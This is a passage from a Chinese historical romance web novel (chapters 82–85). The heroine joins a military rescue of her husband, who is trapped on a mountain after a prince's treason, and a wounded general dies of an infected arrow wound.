二人思来想去，决定事不宜迟，立刻带着仕尔多一起前往北镇抚司去找陆琛，将此事告知与他。
陆琛听了仕尔多的话，脸色阴沉，眉头紧皱，不发一言。
此事非同小可，他不能只听一个小孩的一面之词就去面圣，这样也许反而会打草惊蛇。
但倘若这孩子说的是事实，那么宋兄生命危在旦夕，必须抓紧时间前去营救才行。
见陆琛不说话，陆思云有些着急。
她原本心里乱得像一锅粥，要不是这件事关乎国危不能轻举妄动，她早就自己冲去七重山救人了。
哪怕自己有去无回，她也想过去陪他一起死。
陆思云一把跪在他面前，眼含热泪地哭求：“陆大人，夫君自幼族人被奸人屠杀惨死，养父被奸人刺杀，如今自己也被奸人所害，生死未卜。还请陆大人看在夫君从未做任何违背道义之事，流放边境也是为了铲除国之蛀虫而为之，才会让自己陷入如此危难中的份上，救救他吧！”
“二夫人快快请起。宋兄的为人陆某从未有过半点怀疑，但此事事关重大，在下不能单凭一个黄口小儿的一面之词就妄下决断。”
仕尔多连忙为自己辩驳：“我说的句句属实，若有半句假话，就将我千刀万剐了去喂狗！”
陆琛垂眸想了想，道：“这样，诸位给在下一晚上时间，我命人八百里快马前往边境一探究竟。如若属实，天亮我便进宫面圣，将此时秘密禀奏给圣上做决断。”
陆思云哪有那心情等他一晚上，她刚想开口说话，莫婉晴便轻轻握住了她的手臂，率先开口：“好，那我和妹妹静候陆大人的消息。”
陆琛深深地看了她一眼，无声地点点头。
回到民乐医馆，陆思云终于忍不住问道：“姐姐，方才你为何要拦住我？夫君的情况，莫说是一晚上，就算是一个时辰我都等不了！我现在恨不得立刻飞去七重山。”
莫婉晴却冷静地解释给她听：“陆大人说得没错，确实不能只听仕尔多的一面之词就擅自行动。并不是说仕尔多说的一定是假的，只是战场之事瞬息万变，他一个孩童，也许看得并不全面。如若有偏差，怕是会打草惊蛇。晏初的处境反而会更危险。”
陆思云沉默了下来。
82.第 82 章
莫婉晴继续说：“让陆大人派人去前线侦查一番，一来可以确定仕尔多说的情况是否属实，二来也可以知晓目前晏初的处境如何。我们也好继续想救他的对策。”
“姐姐说的在理，是我太心急了，无法冷静思考问题。”
莫婉晴握了握她的手，对她行为表示理解。
“我们就给陆大人一晚上的时间，等他确认了情况属实，相信他一定会倾尽全力帮助我们的。”
陆思云点点头，然后突然想到了什么，对她说道：“晏初的事，暂时还是别跟家里的姑娘们说，怕她们过于担心。反正也帮不上什么忙，就不要去徒增她们的烦恼了。”
“这个我也想到了，放心吧，我不会告诉她们的，妹妹放心。”
为了不让自己的情绪被翠柳、碧水和刘管家他们看出来异常，陆思云很早便回到房内。
可是此时此刻，她又如何能睡得着呢？
她独自坐在屋内，对着窗外的明月发呆。
莫婉晴走到她门口的时候，就看到这样的一副景象。
她知道今夜陆思云肯定是彻夜难眠的一晚，所以她准备今晚在她房间陪她一起熬过这难熬的时光。
见到她，陆思云勉强挤出一丝笑容：“姐姐，你怎么来了？”
“我知道你今夜肯定睡不着，来陪你说说话。”
她确实是一点睡意都没有，心里想的全是宋晏初的安危。
“一想到晏初生死不明，我就无法入睡。”
“妹妹的心情我理解，我也很担心晏初。但是现在我们只能相信陆大人能帮我们将他从敌军的包围中救出来。”
陆思云抬起头看向她，脸上带着感激的神情：“姐姐明明已经同他和离，原本此事无须姐姐操心。但是姐姐还是这般帮忙，他日等晏初平安归来，我们定会好好感谢姐姐这份不离不弃的心意。”
“妹妹又何必说这么见外的话。我虽然与晏初已经和离，但妹妹不也依旧把我视作家人，与我同甘共苦，一起经营铺子，还帮我出头。我们一起经历了这么多风风雨雨，我们之间的羁绊早就不能用简单的‘家人’二字来定义了。”
陆思云眼含热泪：“姐姐说得没错。我原本来到这个世界，无依无靠，本想靠自己一个人在这里生存下去。有幸认识了姐姐，才觉得自己不是一个人。”
她顿了顿，继续说：“如果陆大人查明情况属实，得令带兵去营救晏初，那我势必要跟着一起去。到时候家中事务就劳烦姐姐多操心了。”
莫婉晴露出惊讶之色：“妹妹要一同前往？边境危险重重，我实在不放心妹妹去……”
“姐姐不用劝我。我知道姐姐是担心我的安危，但是既然知道晏初在那么危险的地方，我是绝对不会一个人留在这安全之地干着急。但是我答应姐姐，我一定会好好保护自己。我也知道战场刀剑无眼，此去一定九死一生。但我已经下定决定，要与晏初同生共死，还望姐姐不要再劝我。”
莫婉晴泪如雨下，但她却一个字都说不出口。
因为她知道，自己说再多都无法让陆思云改变自己的心意。
她也理解她的抉择。
如果此时被困在边境的是陆琛，也许她也会跟陆思云做出一样的决定。
“既然妹妹心意已决，那我唯有为你和晏初祈福，希望上苍保佑你们都能平安归来。”
------
陆琛手底下的人速度很快，卯时就回来将侦查的结果禀告于他。
情况与仕尔多所说的大差不差，但是有一点是仕尔多没有说到的。
那就是敌军将七重山的所有出口全都严防死守，宋晏初他们被结结实实地困在山中，想要下山必然是死路一条。
距离被困在山中，已经快要半月有余。
山上就算有野果子可以勉强果腹，但他们身上还带着伤，想要生活下去依旧十分艰难。
事不宜迟，陆琛在大致了解情况后，顾不上休息，立刻进宫面圣，将所知情况如实禀奏皇帝。
“你说什么？和亲王居然胆大包天到如此地步？”
皇上听了他禀奏的内容，气得将桌案上的砚台一把挥落在地。
黑色的墨汁立刻飞溅的到处都是，甚至陆琛的官袍也未能幸免。
屋子里的人全都本能地跪了下来。
连陆琛也不例外。
“陛下请息怒，龙体要紧。”
文宣帝平复了一下自己的怒火：“你起来吧。”
陆琛站起身，笔直地站在那，等待皇帝发号施令。
“这件事，你看如何办，才能两全其美。既能救出宋少卿，又能找到和亲王通敌叛国的罪证，还要把这场仗赢的漂亮，让北国知道到我大宣国的国威。”
陆琛上前抱拳请命道：“启禀陛下，臣愿意自荐，带兵前往边境，营救宋大人。并且与宋大人一起，拿到和亲王的通敌罪证，将北国军队打退至大宣国边境之外。”
文宣帝看向他，语重心长地问：“此事关乎我大宣国命运，你有多少把握能成功？”
“臣愿为陛下，为大宣国，拼尽全力，豁出性命。”
“好！寡人可以给你足够的兵力，允你带兵去边境。但是寡人只有一个要求。”
陆琛抬头看向他。
文宣帝此时眼中闪着只有王者才有的霸气：“此战，只许成功，不准失败。”
陆琛双手抱拳，弯腰行礼，郑重其事地承诺：“臣，领旨。”
陆琛从皇宫出来回到北镇抚司，陆思云和莫婉晴已经在那等候他多时。
他猜到二人一定会来找自己，便特意关照国北镇抚司的人让她们到里屋等他，且不可怠慢半分。
见了他，二人立刻迎了上来。
“陆大人，皇上怎么说？”
“皇上命我即刻带兵启程，前往边境营救宋大人。”
听到他这句话，陆思云和莫婉晴的脸上这才露出了一些笑容。
总算的看到了一丝希望。
陆思云借此机会开口：“陆大人，我有个不情之请，希望陆大人无论如何都要答应我。”
陆琛看向她，脸上并无意外的神情，似乎已经知道她要说的请求是什么。
“二夫人是想跟随在下一起前往边境，是也不是？”
“正是如此，还望大人成全。”
“倘若我不同意，我想二夫人也会偷偷跟着我的队伍一起前行。我答应过宋大人要护他家人周全，与其让你偷偷跟在我后面风餐露宿，不如就带着你一同前行，路上好歹有个照应。”
陆思云的脸上露出了欣喜的神情：“这么说，陆大人是答应喽？”
陆琛点头：“也许到时候，还有用的到二夫人的地方。”
“只要能救晏初，无论大人让我做什么，我都愿意赴汤蹈火。”
“如此甚好，时间紧
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迫，二夫人立刻回去准备行囊，我们一个时辰之后在城门口会和。”
“好。”
陆思云立刻带着莫婉晴回民乐医馆整理行装。
莫婉晴此时的心情非常复杂。
理性告诉她，现在必须抓紧每一分每一秒时间，他们是去救人救国的，必须得立刻动身前往边境。
可感性又让她心中生出了难舍的情感。
一位是她情同姐妹的好妹妹，一位是她全心全意去爱的男人，两个人都在她的生命中有着举足轻重的分量。
可就是这样对她如此重要的两个人，此时就要离开她，去很远的边境，做危险之事。
此次他们二人一去，归期未定、生死未知。
而留给她接受和告别的时间又太短，她甚至还没来得及消化眼前的情况，就要面临离别。
但是此刻她却不能将自己内心的这份不舍和担忧表现出来，她也没有时间哀愁。
陆琛只给了一个时辰的时间，她们甚至都没时间跟姑娘们解释，便急匆匆地回到房间收拾行囊。
莫婉晴一边帮她收拾东西，一边忍不住叮嘱：“行军在外可不比上次我们去华县。你一女子，与那么多男子同吃同住，一定要好好保护自己，切不可大意。”
“姐姐放心，有陆大人的庇护，相信不会有人会欺负我的。”
“那就好。”
莫婉晴边帮陆思云叠着衣服，边偷偷抹着眼泪。
可是脸上的泪珠，却不知为什么越抹越多。
陆思云发现了她的异常，连忙过去拉住她的手宽慰道：“姐姐别难过，相信我，我一定会带着晏初和陆大人平安回来与姐姐团聚。”
莫婉晴哭着点头。
她现在唯有相信，他们一定可以顺利完成任务，平安回来。
“妹妹走后，我会每天去灵招寺上香祈福，保守你们全都可以平安归来。”
陆思云见她虽然嘴上这么说，可是脸上的担忧却丝毫未减，眼泪也还在大颗大颗地掉。
她知道，莫婉晴是担心和不舍他们，才会如此。
心中突然一片柔软。
陆思云伸出双臂抱住她，轻拍她的背安慰着。
在陆思云的怀中待了一会儿，莫婉晴便强迫自己停止脆弱。
因为留给她们的时间实在是不多了。
她们必须抓紧时间收拾东西。
二人将行囊收拾完，走出屋子，就看见三个姑娘站在院中，满脸疑惑地看着她们。
“夫人，您这是要出门吗？”翠柳见陆思云背着行囊问道。
“二位夫人的脸色为何如此难看，是不是发生什么事了？”
眼下没有时间跟她们解释太多，莫婉晴只能先草草地对她们说两句：“具体的情况等我回来再慢慢跟你们细说。”
“刘管家，马车在门外了吗？”
“大夫人，马车已经准备好了，随时都可以出发。”
莫婉晴点头，立刻拉着陆思云往外走。
陆思云想了想，还是停下了脚步，来到翠柳身边，眼中含泪，用力地抱住她：“翠柳，你以后要好好照顾自己，如果遇到好的男子，就把自己嫁了，好好生活。”
“夫人，你在说什么呀？为什么突然说些话啊，好像你再也不会回来了似的。”
可陆思云再没多说什么，她摸了一把脸上的泪水，转身同莫婉晴一起坐上了马车。
83.第 83 章
洛城城门口。
他们再次来到这个地方，只是这一次，是莫婉晴一人送别他们二人。
她的心情有多么沉重，可想而知。
陆思云和她一同下了马车，陆琛就在不远处等着她们。
莫婉晴看着眼前这个她视为亲妹妹的女子，知道她此去不知归期，不明生死，心如刀割。
她颤抖地伸手握住她的双手，豆大眼泪便一滴滴地掉落在陆思云的手上。
滚烫的眼泪仿佛要灼伤她的手背，陆思云顿时也悲从中来，她红着眼睛强忍住泪意，强迫自己挤出一些笑容，想要试图说两句安慰的话。
可是话到了嘴边，她哆哆嗦嗦的，竟是半句也未能说出口。
她自己也是前途未知，此去不知是绝处逢生还是凶多吉少。
又能用什么漂亮的话来骗莫婉晴呢。
况且莫婉晴本就冰雪聪明，又岂能被她三言两语就骗过去的。
陆思云突然有些好奇，那天宋晏出在这里与她们话别之时，是否与自己是同样的心情？
但是这样的疑问，怕是只有等到自己再见到他时候，才能亲耳听他说出这个答案了。
“姐姐……”
“妹妹不需要安慰我，我全都明白。我帮不上什么忙，只能在洛城等你们回来。”
“好。”陆思云转身看了一眼站在不远处的陆琛，对着她鼓励道：“姐姐肯定有重要的话想对陆大人说，快去吧。”
莫婉晴缓缓地走像他。
而陆琛站在那里，一动不动，薄唇紧闭，看着她朝着自己走来。
莫婉晴看着他，也是一句话都说不出来。
她终于理解当时她们一起送别宋晏初时，为何陆思云对着爱人一句话都不说。
不是不想说，而是有太多话，可千言万语却愣是一个字都吐不出来。
陆琛原本是想等她自己想通，解开心结，重新愿意接受自己以后，再重新挽回她。
可没想到，宋兄却在边境出了意外。
他不得不去相救。
不只是看在莫婉晴的面上，更是欣赏宋晏初的为人，不愿他就这样为奸人所害。
此次一去，危险重重，困难重重，能否活着回来，自己也没有是十成十的把握。
所以，也许这会是他们最后一次见面。
一想到这儿，陆琛便觉得，他们俩不能就这样带着误会分开，必须要把话说清楚。
“婉晴，如今我就要离开洛城，前往边境打仗。想不到一年前在这里送别了宋兄，一年后我竟然也踏上了这条路。但是国有危难，我作为大宣国的子民和朝臣，义不容辞。”
“我已经知道，你执意要与我分开的原因。我只想告诉你，你也许确实改变了我，让那个冷血魔王陆琛消失，变成了有血有肉的陆琛。但是做个真正的人，大概是我内心一直向往的。没有人愿意一辈子这样孤独的活着。我很高兴，也很庆幸自己可以遇见你，我从不后悔为你做的任何改变。哪怕未来为你而死，我也心甘情愿，无怨无悔。”
“如今再说这些，也许已经没有意义。此次离开，不知道我能否活着回来……”
听到这里，莫婉晴再也绷不住自己的情绪。
她上前一步，用力抱住他。
她用颤抖的声音在他耳边低声说道：“陆琛，如果这次你能平安回来。我便答应，嫁给你。”
陆琛怔住。
“你说、什么？”
莫婉晴松开他，与他面对面站着，这一次她的语气却是坚定的：“只要你平安回来，我就嫁给你。陆琛，你敢娶我吗？”
陆琛的脸上依旧有些不敢置信：“你说的，是真的？”
“我总是想得太多，顾虑得太多。以前为我的家族，后来为我的家人。如今我想为我自己活一回。我想遵从我内心深处最真实的想法。陆琛，我莫婉晴此生，只愿钟情你一人，只想嫁的，也只有你。”
陆琛这回听清楚了。
他激动地一把抱住眼前的人，莫婉晴也含泪回抱住他。
二人旁若无人地相拥。
“等我，我会活着回来娶你。”
“好，我等着你，等着你来娶我。”
就算再依依不舍，分开的那一刻也终会到来。
陆琛放开她，在她额前印上深深地一吻，然后翻身上马，带着陆思云和军队，朝着边境的方向出发。
莫婉晴站在原地，看着大部队一点点地离开，一直等到远处什么也看不到为止。
送完陆琛和陆思云，莫婉晴拖着疲惫的身体回到民乐医馆。
姑娘们都等在大厅，等着莫婉晴回来同她们解释。
方才她们出门的模样，实在是反常。
大家都觉得一定是出了什么大事，才会让两位夫人面色如此凝重，甚至带着绝望。
等了半天，终于等到莫婉晴回来。
姑娘们立刻询问道：“大夫人，到底发生什么事了，为何只有你一人回来，二夫人去了哪里？”
莫婉晴此时虽然身心俱疲，但她还是强打着精神，将所有人叫到一起，将之前以及最近发生的事，原原本本，毫无保留地告诉了她们。
这段时间的共患难，她们早就不分主仆、不分彼此，是真正的一家人。
所以姑娘们有权知道，这段时间以来，宋家到底发生了什么事，才会弄到如今这般田地。
姑娘们听完莫婉晴的诉说，震惊之余，却全都默契地沉默了起来。
翠柳最先哭出声来：“难怪夫人临走前会对我说那些奇怪的话，她这是知道这次去边境，有可能回不来么？要是夫人有个什么三长两短，我还活着干什么呀？”
碧水听了，连忙劝导她：“翠柳妹妹，我们要相信二夫人和陆大人，一定可以将姑爷平安带回来的，他们三个都会平平安安地回来与我们团聚的。”
“如今我们留在皇城中的人，也只能在过好生活的同时，一起为妹妹和晏初他们祈福，希望他们可以平安。”
碧水听了莫婉晴的话，想起方才她说到的与宋晏初和离之事，忍不住担心地问：“夫人，如今您与姑爷已经和离，那您以后怎么办呢？等姑爷回来了，您还会和我们一起生活吗？不管夫人您去哪里，碧水都要跟着您的。”
莫婉晴露出了今天第一个笑容，她握住碧水的手，宽慰道：“我虽然与晏初和离，但我们依旧是家人，是姐妹，这一点永远都不会改变
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。等晏初和妹妹平安回来，我虽然不能再回宋府，但我也已经有我自己的归属，大家不用替我操心。”
翠柳下意识地问：“大夫人的归属，是陆大人吗？”
此话一出，所有人全都看向翠柳。
翠柳立刻有些慌，这毕竟只是一直藏在她心中的一个猜测，只是借此机会脱口而出了。
说完她也有些后悔：“大夫人，我不是那个意思……”
没想到莫婉晴却坦然地笑着承认：“没错，是陆大人。陆大人便是我心仪之人。”
翠柳这才松了口气：“果然我没有猜错。”
“不过，这些都是后话。目前最重要的，还是继续经营好铺子和医馆。不过，日后每日早辰，我都会去灵招寺为他们祈福。如果你们愿意，可以同我一起去。”
“好，我们愿意。”
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陆琛的军队行军至傍晚，他便安排队伍驻扎在山脚下一处隐秘的树林间。
此次带兵，他特意挑选了一条难走但相对比较隐秘的路，为的就是让和亲王不能轻易察觉到他们的动向。
这是陆思云第一次跟随军队前进，也是自己第一次骑着马赶这么长时间的路。
自从上次皇家围猎之后，陆思云便让宋晏初教会自己骑马，她觉得日后办差的时候早晚会用到。
没想到，之后便很少骑马。
所以对于骑马，她还是个刚拿到“驾照”的实习生，却立刻就让她上高速开长途，属实是有些为难她了。
在林中安营扎寨后，陆琛特意给她安排了单人的营帐，虽然帐篷很小，但可以挡风避雨，况且她一个女子，并且已为人妻，与这些男子们同吃还行，同住实在是有些不合适。
对于陆琛这一周到的安排，陆思云心存感激。
见他一个人在火堆边发着呆，陆思云便走了过去，在她不远处坐下。
“多谢陆大人命人给我搭的营帐，陆大人有心了。”
“我既然答应让你随军同行，便定会护你周全。不止是因为你是宋兄的妻子，更是因为你是婉晴最珍惜的好姐妹。”
陆思云听了，脸上露出些许欣慰的笑容：“看来陆大人是真的很珍惜我家莫姐姐。”
陆琛望着眼前的火堆，红色的火焰映射在他的脸上，将他的眼睛似乎也点亮了一般。
他的脸上神情是柔和的，仿佛只要提到莫婉晴，他就会立刻变得温柔起来。
“她是我这辈子，最珍视的女子。”
“我真为你和莫姐姐高兴。之前我对陆大人说过，想要莫姐姐重新接受你，唯有等一个让她自己想通的契机。没想到，这个契机这么快就来了。”
“恭喜陆大人，得偿所愿。”
“这还得有劳楚娘子相助。只不过，我们唯有过了眼前的这一关，顺利回去，才是真的得偿所愿，此生圆满。”
是啊，现在说什么都为时尚早。
宋晏楚还未救出，和亲王通敌卖国的罪证还未拿到手，北国的军队还未打出大宣国。
他们的使命还未完成，此刻还不是讨论这些儿女情长的时候。
二人看着眼前熊熊燃烧的火焰，全都陷入了各自的沉思中。
84.第 84 章
陆琛在距离七重山几公里开外找了一处隐蔽的位置安营扎寨。
军队驻扎好后，他们便开始了制定营救计划。
“陆大人，关于进山救人，您有何主意？”
陆琛将山形图摊开道：“七重山有三个下山口，敌军分别在这三处都布置了兵力。楚娘子，我需要你一人偷偷潜入山中，找到宋兄，然后在最薄弱的出口，放出这个信号弹，我们在三处也埋伏兵力，等你一放出信号弹，我们便在相应的出口里应外合，一起突围，你看如何？”
陆琛的这个计划，相当于是将所有的希望全都寄托在了陆思云的身上，这样她肩膀上的压力就会很大。
其实陆琛也不确定，眼前的女子能否担此重任。
但是他需要留在外面领兵指挥，潜入山中最合适的人选只有楚星然。
她个子小、身手敏捷。
且他又深知作为六扇门捕快的她不像其他女子那般柔弱，所以他才想把这艰巨的任务交给她。
“如果你觉得有困难……”
“我做！”陆思云打断道：“我虽然不知道自己能不能做好，但是我相信这是陆大人经过深思熟虑之后想到的办法。如今晏初已经被困在山上快一月有余，时间紧迫，我们不能再优柔寡断下去，我即刻就出发。”
“今夜天色太晚，山上恐有猛兽出没，太过危险，不如楚娘子明日一早就出发如何？”
陆思云觉得言之有理，便点头应允。
她吃了一点东西之后，便早早地回自己的营帐睡下。
陆琛以为她是想要早点休息为明天多保存体力，便没有再理会。
第二天天刚蒙蒙亮，陆琛走出自己的营帐，路过陆思云的帐篷，发现里面已经空无一物。
她不知何时已经出发。
他抬头望着不远处的七重山，山顶青烟环绕，内心祈盼着楚娘子可以顺利找到宋晏初。
陆思云轻装出发，为了能掩敌军的耳目，她并未带过多的行囊。
只带了一些干粮和上山时需要用到的工具，外加一把镰刀。
她毕竟是有些功夫在身，干净利落地避开敌军的巡逻，顺利从入口上山。
然而，七重山这么大，自己要如何在山中找到宋晏初。
她目前也只能凭着直觉往山上的方向爬去，能否顺利找到人，还得靠运气。
山路并不好走，她还没有目的，心中十分茫然。
走了半响，她已经累的气喘吁吁，满头大汗。
可她不敢休息太久，她心里迫切地想要找到宋晏初。
这样，她的心里才会踏实。
每走一步她都小心翼翼，一个人在深山中，一旦遇到任何危险，便只能独自面对。
但她还是遇到了困难。
她不慎失足掉进一个树坑之中。
坑很深，她尝试了数次，都未能爬上去。
天色渐渐暗了下来，周围隐隐约约传来狼叫声。
陆思云不敢再行动，夜晚很有可能有野兽出没。
她虽然掉进了树坑，但万幸没有受伤，身上的干粮也尚在。
既然天色已晚，这个树坑便是最好的遮蔽之处，陆思云打算现在坑里休息一晚，明日天亮之后再想办法从坑里爬出去。
她将坑底的枯叶聚拢在一起，然后慢慢盖在自己身上，以此来做掩护，不让野兽发现。
她就这样蜷缩在坑底，休息了一夜。
其实这一夜，陆思云并未睡着，晚上山中寒风刺骨，虽然坑底可以抵御一些寒风，但依旧冰冷无比。
再加上她担心晚上有野兽出没，一直保持着紧惕，神经始终是紧绷着的，根本无法真的入眠。
第二天天一亮，她立刻起来，寻找可以从这个坑里出去的办法。
她想起自己身上带的镰刀，将镰刀当做着力点，一步步地艰难地从坑底爬出。
等她从坑底爬上来，整个人早就已经精疲力尽。
但她还是一刻都不敢耽误，强迫自己从地上站起来，继续往前赶路。
昨日赶了一天的山路，让陆思云的内心有一些急躁，但更多的是绝望。
宋晏初，你到底在哪里？
心中充满了绝望的陆思云在山间漫无目的穿梭着，像一只没头苍蝇。
她觉得这座山仿佛是一个巨大的湖泊，而自己就在湖中慢慢沉入湖底，看不到一丝希望。
如果找不到宋晏初，她该怎么办？
内心不断的重复着这些问题，心底的希望之火在慢慢熄灭。
眼泪不争气地从两颊流下。
这段时间的所有情绪全都化为无助地泪水，要不是怕惊动山中猛兽，她真想大哭一场。
就在她绝望无助的时候，旁边的树丛突然动了一下。
陆思云立刻全身警觉了起来。
难道是猛兽？
她手放在身后的镰刀上，摆出准备迎战的姿势，面色紧张地看着方才抖动的草丛的方向。
草丛里突然窜出来一个人影，陆思云几乎本能地就将镰刀像那坨影子砍了过去。
对方眼疾手快，握住她的手臂。
两人一下子拉近了距离。
定睛一看，陆思云的脑子“嗡”的一声。
是宋晏初！
虽然他满脸胡渣，看上去脏兮兮，很是狼狈的样子。
可她还是一眼就认出了，这是她的夫君。
“思云？”
大概是怎么都没想到自己会在这里遇到她，宋晏初简直不敢相信自己的眼睛。
他甚至以为自己是太想她了，产生了幻觉。
“真的是你吗？我不是在做梦吧。”
朝思暮想的人，牵肠挂肚的人，此刻就出现在自己的面前，陆思云激动的说不出话来。
他活得好好的，看上去似乎也没有受伤。
除了皮肤黑了一些，人瘦了一圈，模样有些狼狈，其他都好得很。
陆思云用力抱住他，终于抵挡不住心中的情绪，放声痛哭了起来。
宋晏初也紧紧抱住了她。
闻着她身上久违的、让他怀念的、熟悉的味道，他内心也是感慨万分。
无论她为何会出现在这里，他们终于又重逢了，这一刻比什么都重要。
两人抱了一会儿，宋晏初终于想到要问她：“你怎么会来七重山？”
陆思云如实相告：“仕尔多来到洛城，找到我们，告诉我们你被敌军困在七重生。我和陆大人便带援军过来救你。”
“这么说，陆兄也来了？”
陆思云点头：“他带着军队就在山下不远处，只等我找到你，来个里应外合。
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”
听到她的话，宋晏初的心里是欣喜的。
他和杨诚还有云青被困在山里已经一月多，这一个月的时间过得非常艰难。
他原本是下来半山腰找野果子，这才会遇到陆思云。
找到了宋晏初，确定他平安，陆思云心中的一颗大石总算落了地，心情也好了许多。
但是宋晏初只有在与她重逢之时表现出了一些激动和欣喜，之后便又恢复成了之前那副沉重的神情。
陆思云自然看出了他的异样，她连忙问：“怎么了，是不是发生什么事了？”
宋晏初却并不打算在山林中跟她细说，他淡淡地道：“你跟我来。”
他带着陆思云，朝着另一个方向艰难地走去。
陆思云猜测他是要带她去自己的落脚处，于是便不再多说什么，安安静静地跟在他的身后。
经过一天一夜在深山里漫无目的爬行，还不慎掉入树坑中再爬出，此时的陆思云已经非常疲倦。
但宋晏初就在身边，这一点让她无比安心与满足，甚至心情是雀跃的。
所以虽然她身体很疲倦，可精神却是异常兴奋。
用现代人的话说，就是浑身打满了鸡血。
宋晏初带着陆思云来到靠近山顶的一处山洞内。
此处离山脚有很长的距离，且位置隐蔽。
难怪这一个月多的时间，他们躲在山洞里，却依旧平安无事。
山洞里云青正在照顾受伤的杨诚。
杨成趴在岩石上，岩石上面简单地铺了一些干草。
背上的那支箭异常醒目。
陆思云见了，有些疑惑地看了身旁的宋晏初一眼。
宋晏初看着躺在那里，脸色苍白，嘴唇毫无血色的杨诚，面色凝重。
“杨大哥为了救我，背后中了一箭。他为了要证明，我军是被自己的援军所伤，坚持不肯将背上的箭拔下来。他一定要带着这支箭回洛城，当着满朝文武大臣还有和亲王的面，将这之箭拔出。”
陆思云听了他的话，神色一凛。
她立刻上前察看杨诚的伤口。
弓箭因为长期未拔出，早就跟皮肉长在了一起。
如果这时将箭拔出，很难想象会有多痛苦。
但眼下这个不是最严重的情况。
最棘手的是伤口已经在慢慢腐烂，有了感染化脓的迹象。
伤口一旦感染化脓，就容易出现败血症。
一旦出现此症状，那受伤之人必定性命不保。
陆思云心中不好的预感还未来得及多想，云青见到她，脸上立刻露出欣喜的笑容，他走到她面前向她行礼道：“云青见过二夫人。”
许久未见云青，陆思云也很高兴。
如今她只要看到任何一个熟悉的人平安，对她来说都是一件幸福的事。
陆思云还没开口，就听见山洞里躺着的，略显虚弱的杨诚的声音：“原来是弟妹来了。快，快让为兄看看。”
她看向一旁的宋晏初，有些困惑。
宋晏初立刻明白她为何疑惑，他解释道：“我与杨大哥前些日子刚刚结拜为异性兄弟。”
陆思云了然，她连忙走过去。
看到杨诚这副模样，她心中莫名难过。
她向他行礼：“星然见过杨大哥。”
85.第 85 章
“星然见过杨大哥。”
“第一次见弟妹，竟然是在如此狼狈的情况之下，为兄实在惭愧。”
“兄长别这么说。恕我多嘴，兄长这背后之箭，需要尽早拔除，伤口已经溃烂感染，再拖下去恐有性命之忧。”
宋晏初也正有此意，他连忙附和道：“星然说得对。大哥，你的伤已经拖延不得了！”
然而杨诚的神情却没有半丝的松动。
“如果我现在拔出背上的箭，如何向皇上证明，我们是被自己的援军所害。我背上这支箭必须要当众拔出，才能让那些叛国之人无话可说。”
宋晏初情绪有些激动，他上前握住杨诚的手，他的手心滚烫，已有了发热的迹象。
“大哥，陆大人带兵在山下等我们。只要我们配合他突出重围，回到军营重振旗鼓，打去敌营，拿到和亲王通敌叛国的罪证，依旧可以将他绳之以法。你无须用自己的生命来交换，这样不值得。”
“如何不值得？”杨诚厉声喝道：“找到他通敌叛国的罪证，只能证明他背叛了国家。可我身上的这支箭，还可以证明他为了叛国，不惜将刀剑指向自己的士兵，我要为我死去的将士讨回公道！”
杨诚心意已决，二人知道无论怎么劝说，他都不会听进去半个字。
这支箭承载了他所有的不甘和怨愤。
也是他的全部信念。
晚上，云青将自己打来的野兔子清理干净放在自制的简易架子上烤。
而陆思云和宋晏初则坐在一边吃着采摘来的野果子，商议着如何与外面的陆琛里应外合突围出去。
“杨大哥的情况越来越差，我们需要尽早采取行动。你快将你与陆兄的计划说与我听。”
陆思云将她和陆琛的打算告知他后，宋晏初沉思了片刻，道：“我利用采野果的时候，悄悄下山侦查了三个出口的兵力，东面出口是最薄弱的，我们可以从东面突破。”
“好。”陆思云点头，她相信宋晏初的判断。
她随即又从怀里掏出信号弹，“这是陆大人交给我的，让我找到你之后，带你到兵力最薄弱处，然后发射这枚信号弹，他立刻会带着守在路口附近的兵力杀入。”
“甚好。”宋晏初立刻转身对正在认真烤着兔子的云青说道：“云青，你且留在山上，我跟星然下山与陆兄一起突围。等到突围成功，我们再带人上山来接你们。”
“不行，大人！突围危险万分，我得跟你一起战斗，还是夫人留在山上照顾杨将军吧。”
“山中经常有猛兽出没，星然一个女子，又带着伤重的杨大哥，如何能应付的了？”
云青沉默了下来。
“她与我一起突围，我还能顾着她一些。”
“那你们，可千万要小心。”
“好。那我和星然明日一早就出发。你就和杨大哥留在洞内，等我们的消息。”
然而，杨诚却没能等到宋晏初他们下山，情况便突然急转直下。
宋晏初和陆思云正在山洞外商议明天突围的详细计划。
云青突然神色慌张地跑出来找他们：“大人，您快来看看，杨将军有些不对劲。”
宋晏初脸色聚变，他立刻起身跑回山洞中。
杨诚嘴唇惨白，额头上全是汗，可他整个人蜷缩在一起，浑身都在发抖，嘴里一直喊着：“冷……好冷……好冷……”
“杨大哥，你怎么了！怎么突然会这样！”宋晏初不知所措，山里什么都没有，条件艰苦，连吃的都是很勉强，别说治病了。
陆思云知道这是败血症的症状。
一旦败血症的病症出来，那就算是现代的医学技术，也是无力回天，更何况是什么都没有的现在。
她强忍着泪水，看着眼前手足无措的宋晏初，心痛到不能自已。
这种无能为力的绝望感，充斥着整个晚上。
后半夜，原本一直烧得迷迷糊糊的杨诚忽然清醒了过来，他将宋晏初喊了过来，笑着对他说：“我杨诚一生，镇守边关，为大宣国的百姓守得一方安宁，从未有过一丝后悔。况且我还有了你这么优秀的义弟，是我的福气，我杨诚此生无憾。非要说有什么遗憾的，那就是没能最后回家里看看妻儿，没有为枉死的将士们沉冤得雪。如今我已自知将要命绝此处，希望义弟一定要帮为兄完成这两件心愿。”
“我原本是想带着身上这支箭回到皇城，在圣上面前亲自将箭拔出，以此证明我边关将士是被自己援军所害。如今我就快要不行了，晏初，为兄求你，将我的尸体带去皇都，带到圣上面前，帮为兄完成此事。如何？”
宋晏初眼含热泪，悲痛欲绝：“杨大哥，大哥……”
“晏初，答应哥哥这个心愿，哥哥求求你。不要让哥哥死不瞑目！”
宋晏初只能点头：“我答应你，大哥！我答应你！我一定把你带到皇上面前，将箭拔出给他看，一定帮我军将士讨回公道！我一定要让和亲王那个狗贼，付出代价！”
听了他的话，杨诚露出安心的笑容，他的神情变得柔和，眼神开始迷离涣散：“好，好……为兄相信你，定能做到。我好累，想睡一会儿。希望我醒来，可以看到一个再无征战，百姓安居乐业的太平盛世……”
最后一个字说完，杨诚将军便安静地闭上了双眼。
结束了他默默无闻却又伟大的一生。
“杨大哥！！！”
“轰隆隆”，洞外响起了一声声闷雷，很快倾盆大雨倾泻而下，仿佛上苍也在为英雄的离开而惋惜。
宋晏初承受不住重要之人又一次从自己的眼前死去，转身冲出山洞，冲进了雨里。
他淋着大雨，情绪无处发泄，只能像一个暴走的野兽用手臂拼命怕打着眼前的树枝。
很快，他的双手便被树枝割破，满手是血。
但他仿佛感受不到疼痛一般，不断地在伤害着自己。
